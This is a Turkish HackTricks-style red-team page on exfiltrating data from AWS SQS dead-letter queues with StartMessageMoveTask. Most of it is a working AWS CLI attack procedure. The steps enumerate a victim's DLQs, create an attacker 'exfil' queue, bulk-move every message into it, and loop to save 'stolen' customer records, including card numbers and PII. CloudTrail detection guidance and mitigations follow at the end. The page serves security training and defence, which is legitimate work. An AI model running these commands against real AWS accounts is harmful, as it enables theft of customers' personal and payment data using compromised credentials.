AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Açıklama

SQS message move task’larını kötüye kullanarak, mağdurun Dead-Letter Queue (DLQ)’sinde birikmiş tüm mesajları sqs:StartMessageMoveTask kullanarak saldırgan kontrollü bir kuyruğa yönlendirip çalın. Bu teknik, AWS’in meşru mesaj kurtarma özelliğini DLQ’lerde zaman içinde biriken hassas verileri sızdırmak için suistimal eder.

Dead-Letter Queue (DLQ) nedir?

Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir:

  • İşlenemeyen hassas uygulama verileri
  • Hata ayrıntıları ve debug bilgileri
  • Kişisel Tanımlayıcı Bilgiler (PII)
  • API tokenları, kimlik bilgileri veya diğer sırlar
  • İş açısından kritik işlem verileri

DLQ’ler başarısız mesajlar için bir “mezarlık” görevi görür; uygulamaların düzgün işleyemediği hassas verilerin zamanla birikmesi nedeniyle değerli hedeflerdir.

Saldırı Senaryosu

Gerçek dünya örneği:

  1. E-ticaret uygulaması müşteri siparişlerini SQS üzerinden işler
  2. Bazı siparişler başarısız olur (ödeme sorunları, stok problemleri vb.) ve bir DLQ’ye taşınır
  3. DLQ haftalar/aylar boyunca müşteri verileri içeren başarısız siparişlerle dolar: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. Saldırgan, SQS izinlerine sahip AWS kimlik bilgilerini ele geçirir
  5. Saldırgan DLQ’nin binlerce hassas veri içeren başarısız sipariş barındırdığını keşfeder
  6. Bireysel mesajlara erişmeye çalışmak yerine (yavaş ve bariz), saldırgan StartMessageMoveTask kullanarak TÜM mesajları kendi kuyruğuna toplu aktarır
  7. Saldırgan tek bir operasyonla geçmişe dönük tüm hassas verileri çıkarır

Gereksinimler

  • Kaynak kuyruk en az bir kuyruğun RedrivePolicy’si tarafından referans verilen bir DLQ olarak yapılandırılmış olmalıdır.
  • IAM izinleri (ele geçirilmiş mağdur kimliği olarak çalıştırılır):
    • DLQ üzerinde (kaynak): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
    • Hedef kuyruk üzerinde: mesaj teslimi izni (örn. mağdur kimliği için sqs:SendMessage izni veren kuyruk politikası). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir.
  • Eğer SSE-KMS etkinse: kaynak CMK üzerinde kms:Decrypt, hedef CMK üzerinde kms:GenerateDataKey, kms:Encrypt.

Etki

Olası Etki: DLQ’lerde birikmiş hassas yükleri (başarısız olaylar, PII, tokenlar, uygulama yükleri) yerel SQS API’leri kullanarak yüksek hızda sızdırma. Hedef kuyruk politikası mağdur kimliğinden SendMessage izin veriyorsa hesaplar arası da çalışır.

Nasıl Kötüye Kullanılır

  • Mağdur DLQ ARN’sini tespit edin ve gerçekten bir DLQ olarak en az bir kuyruk tarafından referans verildiğinden emin olun (herhangi bir kuyruk yeterlidir).
  • Saldırgan kontrollü bir hedef kuyruk oluşturun veya seçin ve onun ARN’sini alın.
  • Mağdur DLQ’den hedef kuyruğunuza bir message move task başlatın.
  • Gerekirse ilerlemeyi izleyin veya iptal edin.

CLI Örneği: E-ticaret DLQ’sinden Müşteri Verilerini Sızdırma

Senaryo: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve bir e-ticaret uygulamasının SQS ile bir DLQ kullandığını, DLQ’nin başarısız müşteri sipariş işlemleri içerdiğini keşfetmiştir.

  1. Mağdur DLQ’sini keşfet ve incele
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. Saldırgan kontrollü hedef kuyruğu oluşturun
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. Toplu mesaj hırsızlığını gerçekleştir
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. Çalınan hassas verileri topla
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Hesaplar arası notlar

  • Hedef kuyruğun, kurban principal’in sqs:SendMessage yapmasına izin veren bir kaynak policy’si olmalıdır (ve kullanılıyorsa KMS grants/permissions).

Neden Bu Saldırı Etkili

  1. Meşru AWS Özelliği: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zor
  2. Toplu İşlem: Yavaş tek tek erişim yerine binlerce mesajı hızlıca aktarır
  3. Tarihsel Veri: DLQ’lar haftalar/aylar içinde hassas veriler biriktirir
  4. Fark Edilmeden: Birçok kuruluş DLQ erişimini yakından izlemez
  5. Hesaplar Arası Yeteneği: İzinler varsa saldırganın kendi AWS hesabına exfiltrate yapabilir

Tespit ve Önleme

Tespit

Şüpheli StartMessageMoveTask API çağrılarını CloudTrail’de izleyin:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Önlemler

  1. En Az Ayrıcalık: sqs:StartMessageMoveTask izinlerini yalnızca gerekli rollere kısıtlayın
  2. DLQ’leri İzleyin: Olağandışı DLQ etkinliği için CloudWatch alarmları kurun
  3. Hesaplar Arası Politikalar: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle inceleyin
  4. DLQ’leri Şifreleyin: Kısıtlı anahtar politikalarıyla SSE-KMS kullanın
  5. Düzenli Temizlik: Hassas verilerin DLQ’lerde süresiz birikmesine izin vermeyin

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin